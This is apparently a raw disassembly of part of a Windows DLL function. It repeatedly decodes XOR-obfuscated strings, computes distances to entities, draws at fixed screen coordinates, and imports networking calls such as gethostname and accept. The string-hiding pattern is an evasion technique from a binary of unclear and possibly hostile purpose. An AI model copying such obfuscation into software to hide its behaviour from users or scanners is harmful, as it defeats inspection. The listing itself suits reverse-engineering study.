paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a8480
cmp r8d, 0x12
jge 0x1800a85c4
movsxd rax, r8d
lea r9, [rbp + 0x21f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a8590
lea rdx, [0x18024955c]
lea rcx, [rbp + 0x21f0]
call fcn.180007380
call fcn.180006c20
call fcn.180013d50
jmp 0x1800a85f3
movss xmm6, dword [0x1801ad7d4]
movss xmm7, dword [0x1801c6db8]
cmp dword [0x18024dbfc], 1
jne 0x1800a9391
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xc40]
addss xmm0, xmm7
mov dword [rbp + 0xc40], 0x43520000
movss dword [rbp + 0xc44], xmm0
call fcn.180025700
mov eax, dword [0x1801c45ec]
lea rdx, [rbp + 0xc48]
mov dword [rbp + 0xc0], eax
lea rcx, [rbp + 0xc0]
movzx eax, byte [0x1801c45f0]
xor r9d, r9d
xor byte [rbp + 0xc1], 0x37
xor al, 0x3a
xor byte [rbp + 0xc2], 0x38
xor r8d, r8d
xor byte [rbp + 0xc3], 0x39
mov byte [rbp + 0xc4], al
mov dword [rbp + 0xc48], 0x43a50000
mov dword [rbp + 0xc4c], 0x4405c000
mov byte [rbp + 0xc0], Ordinal_79
call fcn.18000fcc0
movzx ecx, word [0x1801c4600]
lea rdx, [rbp + 0xc50]
movzx eax, byte [0x1801c4602]
xor r9d, r9d
movsd xmm0, qword [str.sOLPTXHTQQ_]
xor al, 0x40
movsd qword [rbp + 0x1268], xmm0
mov r8b, 1
xor byte [rbp + 0x1269], 0x37
xor byte [rbp + 0x126a], 0x38
xor byte [rbp + 0x126b], 0x39
xor byte [rbp + 0x126c], 0x3a
xor byte [rbp + 0x126d], 0x3b
xor byte [rbp + 0x126e], 0x3c
xor byte [rbp + 0x126f], 0x3d
mov word [rbp + 0x1270], cx
xor cl, 0x3e
xor byte [rbp + 0x1271], 0x3f
mov byte [rbp + 0x1270], cl
lea rcx, [rbp + 0x1268]
mov dword [rbp + 0xc50], 0x43a00000
mov dword [rbp + 0xc54], 0x43ed8000
mov byte [rbp + 0x1268], 0x45
mov byte [rbp + 0x1272], al
call fcn.180003d00
movzx ecx, word [0x1801c4610]
lea rdx, [0x18024ddd0]
movzx eax, byte [0x1801c4612]
xor r9d, r9d
movsd xmm0, qword [0x1801c4608]
xor al, 0x40
movsd qword [rbp + 0x12e8], xmm0
mov r8d, 0x40
xor byte [rbp + 0x12e9], 0x37
xor byte [rbp + 0x12ea], 0x38
xor byte [rbp + 0x12eb], 0x39
xor byte [rbp + 0x12ec], 0x3a
xor byte [rbp + 0x12ed], 0x3b
xor byte [rbp + 0x12ee], 0x3c
xor byte [rbp + 0x12ef], 0x3d
mov word [rbp + 0x12f0], cx
xor cl, 0x3e
xor byte [rbp + 0x12f1], 0x3f
mov byte [rbp + 0x12f0], cl
lea rcx, [rbp + 0x12e8]
mov qword [rsp + 0x28], r14
mov byte [rbp + 0x12e8], 0x42
mov byte [rbp + 0x12f2], al
mov qword [rsp + 0x20], r14
call fcn.18004a6e0
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
cmp byte [reloc.WS2_32.dll_gethostname], r14b
mov eax, dword [str.tV_9zXWMXZ_]
mov dword [rbp - 0x4c], eax
mov dword [rbp + 0xc58], 0x43b90000
mov dword [rbp + 0xc5c], 0x43c58000
je 0x1800a88b4
cmp r12d, 2
jl 0x1800a8872
movdqa xmm1, xmm15
movdqa xmm0, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x4c], xmm1
jmp 0x1800a88b4
lea r9, [rbp - 0x4c]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x1800a8880
xor r9d, r9d
lea rdx, [rbp + 0xc58]
mov r8b, 1
lea rcx, [rbp - 0x4c]
call fcn.18000fcc0
mov rax, qword [0x180249268]
mov rax, qword [rax]
test rax, rax
je 0x1800a8b6e
mov rax, qword [rax + 8]
test rax, rax
je 0x1800a8b6e
mov r15, qword [0x18024b0a8]
test r15, r15
je 0x1800a8b6e
mov r15, qword [r15 + 0x28]
test r15, r15
je 0x1800a8b6e
mov r12, qword [r15 + 0x160]
mov edi, r14d
movsd xmm0, qword [rax + 0x90]
mov eax, dword [rax + 0x98]
mov r15, qword [r15 + 0x158]
movsd qword [rsp + 0x70], xmm0
mov dword [rsp + 0x78], eax
test r12, r12
je 0x1800a8b67
movss xmm7, dword [rsp + 0x78]
movss xmm8, dword [rsp + 0x74]
movss xmm9, dword [rsp + 0x70]
movsd xmm6, qword [0x1801c6d88]
nop word [rax + rax]
mov rsi, qword [r15]
test rsi, rsi
je 0x1800a8b45
movsd xmm2, qword [rsi + 0x90]
movss xmm0, dword [rsi + 0x98]
movaps xmm1, xmm2
movsd qword [rsp + 0x70], xmm2
subss xmm0, xmm7
subss xmm2, xmm9
shufps xmm1, xmm1, 0x55
subss xmm1, xmm8
mulss xmm0, xmm0
mulss xmm2, xmm2
mulss xmm1, xmm1
addss xmm2, xmm1
addss xmm2, xmm0
xorps xmm0, xmm0
ucomiss xmm0, xmm2
ja 0x1800a89bc
xorps xmm0, xmm0
sqrtss xmm0, xmm2
jmp 0x1800a89c4
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrtf
cvtss2sd xmm0, xmm0
comisd xmm6, xmm0
jbe 0x1800a8b45
mov rax, qword [rsi + 0x20]
cmp qword [rax + 0x18], 0x49996225
jne 0x1800a8b45
mov edx, edi
lea rcx, [rbp + 0x2970]
call fcn.1800ea8b0
movzx ecx, byte [0x1801c4620]
lea rdx, [rbp + 0xdc8]
movsd xmm0, qword [0x1801c4618]
xor cl, 0x3e
movsd qword [rbp + 0xdc8], xmm0
mov r8, rax
xor byte [rbp + 0xdc9], 0x37
xor byte [rbp + 0xdca], 0x38
xor byte [rbp + 0xdcb], 0x39
xor byte [rbp + 0xdcc], 0x3a
xor byte [rbp + 0xdcd], 0x3b
xor byte [rbp + 0xdce], 0x3c
xor byte [rbp + 0xdcf], 0x3d
mov byte [rbp + 0xdd0], cl
lea rcx, [rbp + 0x2f80]
mov byte [rbp + 0xdc8], Ordinal_79
call fcn.180054750
lea rcx, [rbp + 0x2970]
call fcn.180068dd0
mov edx, edi
lea rcx, [rbp + 0x2990]
call fcn.1800ea8b0
cmp qword [rax + 0x18], 0xf
jbe 0x1800a8a84
mov rax, qword [rax]
lea rdx, [0x18024ddd0]
mov rcx, rax
call sub.VCRUNTIME140.dll_strstr
lea rcx, [rbp + 0x2990]
mov rbx, rax
call fcn.180068dd0
test rbx, rbx
je 0x1800a8b39
cmp dword [0x1802497d0], edi
lea rcx, [rbp + 0x29b0]
mov edx, edi
mov dword [rbp + 0xc60], r14d
sete bl
mov dword [rbp + 0xc64], r14d
call fcn.1800ea8b0
cmp qword [rax + 0x18], 0xf
jbe 0x1800a8ada
mov rax, qword [rax]
lea r9, [rbp + 0xc60]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.180008320
lea rcx, [rbp + 0x29b0]
movzx ebx, al
call fcn.180068dd0
test bl, bl
je 0x1800a8b39
movsd xmm0, qword [rsi + 0x90]
lea r8, [rbp - 0x40]
mov eax, dword [rsi + 0x98]
lea rcx, [0x18024b4e0]
mov rdx, qword [0x18024b0a0]
xor r9d, r9d
movsd qword [rbp - 0x40], xmm0
mov dword [rbp - 0x38], eax
call fcn.1800e7d20
mov dword [0x1802497d0], r13d
lea rcx, [rbp + 0x2f80]
call fcn.180068dd0
inc edi
add r15, 0x10
movsxd rax, edi
cmp rax, r12
jb 0x1800a8960
movss xmm6, dword [0x1801ad7d4]
movss xmm7, dword [0x1801c6db8]
mov r12d, dword [reloc.WS2_32.dll_accept]
call fcn.180013d50
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xc68]
addss xmm0, xmm7
mov dword [rbp + 0xc68], 0x44070000
movss dword [rbp + 0xc6c], xmm0
call fcn.180025700
movzx ecx, word [0x1801c4628]
lea rdx, [rbp + 0xc70]
mov eax, dword [0x1801c4624]
mov r9d, 8
mov dword [rbp + 0x2e0], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x2e1], 0x37
xor al, 0x3c
xor byte [rbp + 0x2e2], 0x38
xor byte [rbp + 0x2e3], 0x39
mov word [rbp + 0x2e4], cx
xor cl, 0x3a
xor byte [rbp + 0x2e5], 0x3b
mov byte [rbp + 0x2e4], cl
lea rcx, [rbp + 0x2e0]
mov dword [rbp + 0xc70], 0x43a00000
mov dword [rbp + 0xc74], 0x4405c000
mov byte [rbp + 0x2e0], Ordinal_79
mov byte [rbp + 0x2e6], al
call fcn.18000fcc0
lea rcx, [rbp + 0xc78]
call fcn.180016840
movzx eax, byte [0x1801c4638]
lea rdx, [rbp + 0xc80]
movsd xmm0, qword [0x1801c4630]
lea rcx, [rbp + 0xdd8]
movsd qword [rbp + 0xdd8], xmm0
xor al, 0x3e
xor byte [rbp + 0xdd9], 0x37
xor r9d, r9d
xor byte [rbp + 0xdda], 0x38
mov r8b, 1
xor byte [rbp + 0xddb], 0x39
xor byte [rbp + 0xddc], 0x3a
xor byte [rbp + 0xddd], 0x3b
xor byte [rbp + 0xdde], 0x3c
xor byte [rbp + 0xddf], 0x3d
mov byte [rbp + 0xde0], al
mov dword [rbp + 0xc80], 0x43a00000
mov dword [rbp + 0xc84], 0x43ed8000
mov byte [rbp + 0xdd8], 0x53
call fcn.180003d00
mov eax, dword [0x1801c4648]
mov r8d, r14d
movsd xmm0, qword [str.zXWM]
mov dword [rbp + 0x1928], eax
movzx eax, byte [0x1801c464c]
mov byte [rbp + 0x192c], al
movsd qword [rbp + 0x1920], xmm0
cmp r12d, 2
jl 0x1800a8ddf
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.zXWM]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1920], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1924]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1924], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1920]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x1800a8df0
xorps xmm0, xmm0
lea rax, [rbp + 0x1920]
xorps xmm1, xmm1
mov r8, r13
movups xmmword [rbp + 0x29d0], xmm0
movdqu xmmword [rbp + 0x29e0], xmm1
inc r8
cmp byte [rax + r8], r14b
jne 0x1800a8e43
lea rdx, [rbp + 0x1920]
lea rcx, [rbp + 0x29d0]
call fcn.180001450
lea r8, [0x180249114]
lea rdx, [0x180249110]
lea rcx, [rbp + 0x29d0]
call fcn.18006f530
movzx eax, byte [0x1801c4658]
lea rdx, [0x1802490a7]
movsd xmm0, qword [0x1801c4650]
lea rcx, [rbp + 0xde8]
movsd qword [rbp + 0xde8], xmm0
xor al, 0x3e
xor byte [rbp + 0xde9], 0x37
xor byte [rbp + 0xdea], 0x38
xor byte [rbp + 0xdeb], 0x39
xor byte [rbp + 0xdec], 0x3a
xor byte [rbp + 0xded], 0x3b
xor byte [rbp + 0xdee], 0x3c
xor byte [rbp + 0xdef], 0x3d
mov byte [rbp + 0xdf0], al
mov byte [rbp + 0xde8], Ordinal_79
call fcn.1800032d0
cmp byte [0x1801c466d], r14b
mov eax, dword [0x1801c4668]
movsd xmm0, qword [str.dRUVL]
mov dword [rbp + 0x1a68], eax
movzx eax, word [0x1801c466c]
mov word [rbp + 0x1a6c], ax
movsd qword [rbp + 0x1a60], xmm0
je 0x1800a9055
mov r8d, r14d
cmp r12d, 2
jl 0x1800a9014
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dRUVL]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1a60], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a60]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1800a9021
lea rdx, [0x1802490a8]
lea rcx, [rbp + 0x1a60]
call fcn.1800032d0
movups xmm0, xmmword [str.lXU_S]
movups xmmword [rbp + 0x1e10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a91e4
cmp r12d, 2
jl 0x1800a91a5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e14]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a90b0
jmp 0x1800a91e4
lea r9, [rbp + 0x1e10]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a91b0
lea rdx, [0x1802490aa]
lea rcx, [rbp + 0x1e10]
call fcn.1800032d0
movups xmm0, xmmword [0x1801c4680]
movups xmmword [rbp + 0x1e00], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a9374
cmp r12d, 2
jl 0x1800a9335
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e04]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a9240
jmp 0x1800a9374
lea r9, [rbp + 0x1e00]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a9340
lea rdx, [0x1802490a9]
lea rcx, [rbp + 0x1e00]
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
cmp dword [0x18024dbfc], 2
jne 0x1800aa524
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0xc88]
addss xmm0, xmm7
mov dword [rbp + 0xc88], 0x43520000
movss dword [rbp + 0xc8c], xmm0
call fcn.180025700
mov eax, dword [0x1801c4690]
lea rdx, [rbp + 0xc90]
mov dword [rbp + 0xc8], eax
lea rcx, [rbp + 0xc8]
movzx eax, byte [0x1801c4694]
xor r9d, r9d
xor byte [rbp + 0xc9], 0x37
xor al, 0x3a
xor byte [rbp + 0xca], 0x38
xor r8d, r8d
xor byte [rbp + 0xcb], 0x39
mov byte [rbp + 0xcc], al
mov dword [rbp + 0xc90], 0x43a50000
mov dword [rbp + 0xc94], 0x4405c000
mov byte [rbp + 0xc8], Ordinal_79
call fcn.18000fcc0
movzx eax, byte [0x1801c46a8]
mov r8d, r14d
mov dword [rbp + 0xc98], 0x43a00000
mov dword [rbp + 0xc9c], 0x43ed8000
mov byte [rbp + 0x1fd8], al
movups xmm0, xmmword [str.eRJO_I]
movups xmmword [rbp + 0x1fc8], xmm0
cmp r12d, 2
jl 0x1800a957b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1fcc]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a9480
cmp r8d, 0x11
jge 0x1800a95c4
movsxd rax, r8d
lea r9, [rbp + 0x1fc8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a9590
xor r9d, r9d
lea rdx, [rbp + 0xc98]
mov r8b, 1
lea rcx, [rbp + 0x1fc8]
call fcn.180003d00
lea rcx, [rbp + 0xca0]
call fcn.180016840
cmp byte [0x1801c46c5], r14b
movups xmm1, xmmword [str.pXJZ_ezRS_]
movss xmm0, dword [rax]
mov eax, dword [str.1_8K]
mov dword [rbp + 0x25a8], eax
movzx eax, word [0x1801c46c4]
mov word [rbp + 0x25ac], ax
movss dword [rbp + 0xca8], xmm0
mov dword [rbp + 0xcac], 0x42200000
movups xmmword [rbp + 0x2598], xmm1
je 0x1800a97a4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a975b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x259c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a9660
cmp r8d, 0x16
jge 0x1800a97a4
movsxd rax, r8d
lea r9, [rbp + 0x2598]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x1800a9770
lea rdx, [rbp + 0xca8]
lea rcx, [rbp + 0x2598]
call fcn.180002c70
test al, al
je 0x1800a97c2
mov byte [0x1802491a6], 1
call fcn.180016980
addss xmm0, xmm6
call fcn.1800257a0
lea rcx, [rbp + 0xcb0]
call fcn.180016840
movups xmm1, xmmword [0x1801c46c8]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1df0], xmm1
mov dword [rbp + 0xcbc], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xcb8], xmm0
test al, al
je 0x1800a9974
cmp r12d, 2
jl 0x1800a9935
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1df4]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a9840
jmp 0x1800a9974
lea r9, [rbp + 0x1df0]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
